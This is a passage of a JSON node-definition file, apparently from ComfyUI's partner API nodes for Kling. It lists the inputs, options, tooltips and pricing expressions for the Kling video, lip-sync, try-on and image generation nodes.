{\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingImage2VideoNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "The reference image used to generate the video."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "model_name": ["COMBO", {"default": "kling-v2-master", "multiselect": false, "options": ["kling-v1", "kling-v1-5", "kling-v1-6", "kling-v2-master", "kling-v2-1", "kling-v2-1-master", "kling-v2-5-turbo"]}], "cfg_scale": ["FLOAT", {"default": 0.8, "min": 0.0, "max": 1.0}], "mode": ["COMBO", {"default": "std", "multiselect": false, "options": ["std", "pro"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["COMBO", {"default": "5", "multiselect": false, "options": ["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "prompt", "negative_prompt", "model_name", "cfg_scale", "mode", "aspect_ratio", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingImage2VideoNode", "display_name": "Kling Image(First Frame) to Video", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := widgets.mode;\n $model := widgets.model_name;\n $dur := widgets.duration;\n $contains($model,\"v2-5-turbo\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : ($contains($model,\"v2-1-master\") or $contains($model,\"v2-master\"))\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : ($contains($model,\"v2-1\") or $contains($model,\"v1-6\") or $contains($model,\"v1-5\"))\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($model,\"v1\")\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControlI2VNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "Reference Image - URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1. Base64 should not include data:image prefix."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "camera_control": ["CAMERA_CONTROL", {"tooltip": "Can be created using the Kling Camera Controls node. Controls the camera movement and motion during the video generation."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "camera_control"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingCameraControlI2VNode", "display_name": "Kling Image to Video (Camera Control)", "description": "Transform still images into cinematic videos with professional camera movements that simulate real-world cinematography. Control virtual camera actions including zoom, rotation, pan, tilt, and first-person view, while maintaining focus on your original image.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.49}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControlT2VNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "camera_control": ["CAMERA_CONTROL", {"tooltip": "Can be created using the Kling Camera Controls node. Controls the camera movement and motion during the video generation."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "camera_control"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingCameraControlT2VNode", "display_name": "Kling Text to Video (Camera Control)", "description": "Transform text into cinematic videos with professional camera movements that simulate real-world cinematography. Control virtual camera actions including zoom, rotation, pan, tilt, and first-person view, while maintaining focus on your original text.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.14}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingStartEndFrameNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "Reference Image - URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1. Base64 should not include data:image prefix."}], "end_frame": ["IMAGE", {"tooltip": "Reference Image - End frame control. URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px. Base64 should not include data:image prefix."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "mode": ["COMBO", {"tooltip": "The configuration to use for the video generation following the format: mode / duration / model_name.", "default": "pro mode / 5s duration / kling-v2-5-turbo", "multiselect": false, "options": ["pro mode / 5s duration / kling-v1-5", "pro mode / 10s duration / kling-v1-5", "pro mode / 5s duration / kling-v1-6", "pro mode / 10s duration / kling-v1-6", "pro mode / 5s duration / kling-v2-1", "pro mode / 10s duration / kling-v2-1", "pro mode / 5s duration / kling-v2-5-turbo", "pro mode / 10s duration / kling-v2-5-turbo"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "end_frame", "prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingStartEndFrameNode", "display_name": "Kling Start-End Frame to Video", "description": "Generate a video sequence that transitions between your provided start and end images. The node creates all frames in between, producing a smooth transformation from the first frame to the last.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.mode;\n $contains($m,\"v2-5-turbo\")\n ? ($contains($m,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : $contains($m,\"v2-1\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : $contains($m,\"v2-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v1-6\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($m,\"v1\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVideoExtendNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt for guiding the video extension", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt for elements to avoid in the extended video", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0}], "video_id": ["STRING", {"tooltip": "The ID of the video to be extended. Supports videos generated by text-to-video, image-to-video, and previous video extension operations. Cannot exceed 3 minutes total duration after extension.", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "video_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingVideoExtendNode", "display_name": "Kling Video Extend", "description": "Kling Video Extend Node. Extend videos made by other Kling nodes. The video_id is created by using other Kling Nodes.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.28}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingLipSyncAudioToVideoNode": {"input": {"required": {"video": ["VIDEO", {}], "audio": ["AUDIO", {}], "voice_language": ["COMBO", {"default": "en", "multiselect": false, "options": ["zh", "en"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "audio", "voice_language"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingLipSyncAudioToVideoNode", "display_name": "Kling Lip Sync Video with Audio", "description": "Kling Lip Sync Audio to Video Node. Syncs mouth movements in a video file to the audio content of an audio file. When using, ensure that the audio contains clearly distinguishable vocals and that the video contains a distinct face. The audio file should not be larger than 5MB. The video file should not be larger than 100MB, should have height/width between 720px and 1920px, and should be between 2s and 10s in length.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": "Video Generation", "has_intermediate_output": false}, "KlingLipSyncTextToVideoNode": {"input": {"required": {"video": ["VIDEO", {}], "text": ["STRING", {"tooltip": "Text Content for Lip-Sync Video Generation. Required when mode is text2video. Maximum length is 120 characters.", "multiline": true}], "voice": ["COMBO", {"default": "Melody", "multiselect": false, "options": ["Melody", "Sunny", "Sage", "Ace", "Blossom", "Peppy", "Dove", "Shine", "Anchor", "Lyric", "Tender", "Siren", "Zippy", "Bud", "Sprite", "Candy", "Beacon", "Rock", "Titan", "Grace", "Helen", "Lore", "Crag", "Prattle", "Hearth", "The Reader", "Commercial Lady", "\u9633\u5149\u5c11\u5e74", "\u61c2\u4e8b\u5c0f\u5f1f", "\u8fd0\u52a8\u5c11\u5e74", "\u9752\u6625\u5c11\u5973", "\u6e29\u67d4\u5c0f\u59b9", "\u5143\u6c14\u5c11\u5973", "\u9633\u5149\u7537\u751f", "\u5e7d\u9ed8\u5c0f\u54e5", "\u6587\u827a\u5c0f\u54e5", "\u751c\u7f8e\u90bb\u5bb6", "\u6e29\u67d4\u59d0\u59d0", "\u804c\u573a\u5973\u9752", "\u6d3b\u6cfc\u7537\u7ae5", "\u4fcf\u76ae\u5973\u7ae5", "\u7a33\u91cd\u8001\u7238", "\u6e29\u67d4\u5988\u5988", "\u4e25\u8083\u4e0a\u53f8", "\u4f18\u96c5\u8d35\u5987", "\u6148\u7965\u7237\u7237", "\u5520\u53e8\u7237\u7237", "\u5520\u53e8\u5976\u5976", "\u548c\u853c\u5976\u5976", "\u4e1c\u5317\u8001\u94c1", "\u91cd\u5e86\u5c0f\u4f19", "\u56db\u5ddd\u59b9\u5b50", "\u6f6e\u6c55\u5927\u53d4", "\u53f0\u6e7e\u7537\u751f", "\u897f\u5b89\u638c\u67dc", "\u5929\u6d25\u59d0\u59d0", "\u65b0\u95fb\u64ad\u62a5\u7537", "\u8bd1\u5236\u7247\u7537", "\u6492\u5a07\u5973\u53cb", "\u5200\u7247\u70df\u55d3", "\u4e56\u5de7\u6b63\u592a"]}], "voice_speed": ["FLOAT", {"tooltip": "Speech Rate. Valid range: 0.8~2.0, accurate to one decimal place.", "advanced": true, "default": 1, "min": 0.8, "max": 2.0, "display": "slider"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "text", "voice", "voice_speed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingLipSyncTextToVideoNode", "display_name": "Kling Lip Sync Video with Text", "description": "Kling Lip Sync Text to Video Node. Syncs mouth movements in a video file to a text prompt. The video file should not be larger than 100MB, should have height/width between 720px and 1920px, and should be between 2s and 10s in length.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVirtualTryOnNode": {"input": {"required": {"human_image": ["IMAGE", {}], "cloth_image": ["IMAGE", {}], "model_name": ["COMBO", {"default": "kolors-virtual-try-on-v1", "multiselect": false, "options": ["kolors-virtual-try-on-v1", "kolors-virtual-try-on-v1-5"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["human_image", "cloth_image", "model_name"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingVirtualTryOnNode", "display_name": "Kling Virtual Try On", "description": "Kling Virtual Try On Node. Input a human image and a cloth image to try on the cloth on the human. You can merge multiple clothing item pictures into one image with a white background.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.7}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingImageGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "image_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["subject", "face"]}], "image_fidelity": ["FLOAT", {"tooltip": "Reference intensity for user-uploaded images", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "human_fidelity": ["FLOAT", {"tooltip": "Subject reference similarity", "advanced": true, "default": 0.45, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3", "kling-v2", "kling-v1-5"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "3:2", "2:3", "21:9"]}], "n": ["INT", {"tooltip": "Number of generated images", "default": 1, "min": 1, "max": 9}]}, "optional": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "image_type", "image_fidelity", "human_fidelity", "model_name", "aspect_ratio", "n"], "optional": ["image", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingImageGenerationNode", "display_name": "Kling 3.0 Image", "description": "Kling Image Generation Node. Generate an image from a text prompt with an optional reference image.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_name", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": ["image"], "input_groups": []}, "expr": "\n (\n $m := widgets.model_name;\n $base :=\n $contains($m,\"kling-v1-5\")\n ? (inputs.image.connected ? 0.028 : 0.014)\n : $contains($m,\"kling-v3\") ? 0.028 : 0.014;\n {\"type\":\"usd\",\"usd\": $base * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingSingleImageVideoEffectNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": " Reference Image. URL or Base64 encoded string (without data:image prefix). File size cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1"}], "effect_scene": ["COMBO", {"multiselect": false, "options": ["bloombloom", "dizzydizzy", "fuzzyfuzzy", "squish", "expansion"]}], "model_name": ["COMBO", {"multiselect": false, "options": ["kling-v1-6"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "effect_scene", "model_name", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingSingleImageVideoEffectNode", "display_name": "Kling Video Effects", "description": "Achieve different special effects when generating a video based on the effect_scene.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "effect_scene", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n ($contains(widgets.effect_scene,\"dizzydizzy\") or $contains(widgets.effect_scene,\"bloombloom\"))\n ? {\"type\":\"usd\",\"usd\":0.49}\n : {\"type\":\"usd\",\"usd\":0.28}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingDualCharacterVideoEffectNode": {"input": {"required": {"image_left": ["IMAGE", {"tooltip": "Left side image"}], "image_right": ["IMAGE", {"tooltip": "Right side image"}], "effect_scene": ["COMBO", {"multiselect": false, "options": ["hug", "kiss", "heart_gesture"]}], "model_name": ["COMBO", {"default": "kling-v1", "multiselect": false, "options": ["kling-v1", "kling-v1-5", "kling-v1-6"]}], "mode": ["COMBO", {"default": "std", "multiselect": false, "options": ["std", "pro"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image_left", "image_right", "effect_scene", "model_name", "mode", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "duration"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "KlingDualCharacterVideoEffectNode", "display_name": "Kling Dual Character Video Effects", "description": "Achieve different special effects when generating a video based on the effect_scene. First image will be positioned on left side, second on right side of the composite.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := widgets.mode;\n $model := widgets.model_name;\n $dur := widgets.duration;\n ($contains($model,\"v1-6\") or $contains($model,\"v1-5\"))\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($model,\"v1\")\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProTextToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}]}, "optional": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Ignored for o1 model.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": 